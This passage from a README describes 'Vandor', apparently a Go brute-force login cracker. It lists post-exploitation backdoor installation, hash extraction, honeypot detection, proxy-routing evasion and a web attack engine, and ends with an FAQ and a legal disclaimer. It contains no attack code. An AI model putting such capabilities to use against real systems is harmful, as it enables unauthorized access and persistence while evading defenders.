โ โโโ Banner consistency checks
โ โโโ TCP timestamp fingerprinting
โ
โโโ internal/
โ โโโ telegram.go # Telegram integration
โ โโโ Rate-limited API calls
โ โโโ HTML message formatting
โ โโโ Async notifications
โ
โโโ postexploit/
โ โโโ backdoor.go # Post-exploitation
โ โโโ System info gathering
โ โโโ Backdoor installation (6 types)
โ โโโ Hash extraction
โ โโโ Network scanning
โ โโโ Script generation
โ
โโโ protocols/
โ โโโ protocols.go # All protocol implementations
โ โโโ SSH client (golang.org/x/crypto/ssh)
โ โโโ RDP NLA authentication
โ โโโ FTP/MySQL clients
โ โโโ PostgreSQL/Redis/MongoDB
โ โโโ POP3/IMAP/SMTP
โ โโโ SNMP v2c
โ โโโ LDAP simple bind
โ โโโ Worker pool management
โ โโโ Checkpoint system
โ โโโ Smart password cache
โ โโโ Multi-city routing
โ
โโโ webinferno/
โโโ webinferno.go # Web attack engine (1500+ lines)
โโโ Burp request parsing
โโโ Variable substitution
โโโ CSRF token extraction
โโโ Intelligence learning
โโโ Evasion techniques (6 levels)
โโโ GraphQL support
โโโ WebSocket support
โโโ OAuth2 token refresh
โโโ Cluster distribution
โโโ HTML/JSON report generation
โโโ Adaptive rate limiting
โ FAQ
Q: How fast is Vandor compared to Hydra/Medusa?
A: Significantly faster due to Go's concurrency model:
- Vandor: 5,000-50,000 threads
- Hydra: Limited by Perl's threading
- Medusa: Limited by C threading
- Real-world: Vandor is 5-10x faster on same hardware
Q: Does Vandor work on Windows?
A: Yes! Full Windows support:
- Native Windows executable (.exe)
- GUI works on Windows
- All protocols work (including SMB)
- Only limitation: RAM disk mode uses %TEMP% instead of /dev/shm
Q: Can I use my own wordlists?
A: Absolutely:
- Any text file with one entry per line
- UTF-8 encoding supported
- Files up to several GB work (streaming)
- Comments lines start with #
Q: How do I stop a running attack?
A: Multiple ways:
- Press Ctrl+C (graceful shutdown)
- Click "TERMINATE" in GUI
- Kill the process (SIGTERM)
- Checkpoint saves progress automatically
Q: Does Vandor support proxies?
A: Yes:
- HTTP/HTTPS proxies
- SOCKS5 proxies
- Multi-city routing (built-in)
- Use
-multi-cityfor automatic routing
Q: How accurate is honeypot detection?
A: 95%+ with multi-signature analysis:
- Protocol mismatch: 25% confidence
- Response time anomalies: 20%
- Banner inconsistencies: 35%
- TCP timestamp analysis: 15%
- Combined confidence >80% = honeypot
Q: Can I resume an interrupted attack?
A: Yes, automatically:
- Checkpoint saved every 30 seconds
- Use
-resumeflag - Restores exact progress
- Skips already cracked hosts
Q: What's the maximum password length?
A: No practical limit:
- Go strings support up to 2GB
- Dictionary files of any size
- Smart generation limited to 32 chars for performance
Q: Does GUI work on Linux/macOS?
A: Yes:
- Linux: Requires python3-tk
- macOS: Works with Homebrew Python
- Windows: Native support
- Install:
pip install customtkinter psutil
Q: How to update Vandor?
A: Simple:
go install github.com/Specter-OG/Vandor@latest
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By using Vandor, you agree that:
1. You will only use this tool on systems you own or have explicit written permission to test
2. You are responsible for compliance with all applicable laws and regulations
3. The authors assume no liability for misuse or damage caused by this tool
4. Unauthorized access to computer systems is illegal in most jurisdictions
5. Always obtain proper authorization before conducting security assessments
Violations may result in:
- Civil lawsuits
- Criminal prosecution
- Permanent ban from security community
- Termination of employment (for professionals)
USE RESPONSIBLY. STAY LEGAL. BE ETHICAL.
๐ค Contributing
We welcome contributions! Areas that need help:
- Protocol Implementations - Add more services
- GUI Features - Improve the launcher
- Performance - Optimize concurrency
- Documentation - More examples and tutorials
- Bug Reports - Open issues with detailed steps
๐ Support & Community
- Documentation: Wiki
- Issues: GitHub Issues
- Discord: Coming soon
- Telegram: @esfelorm
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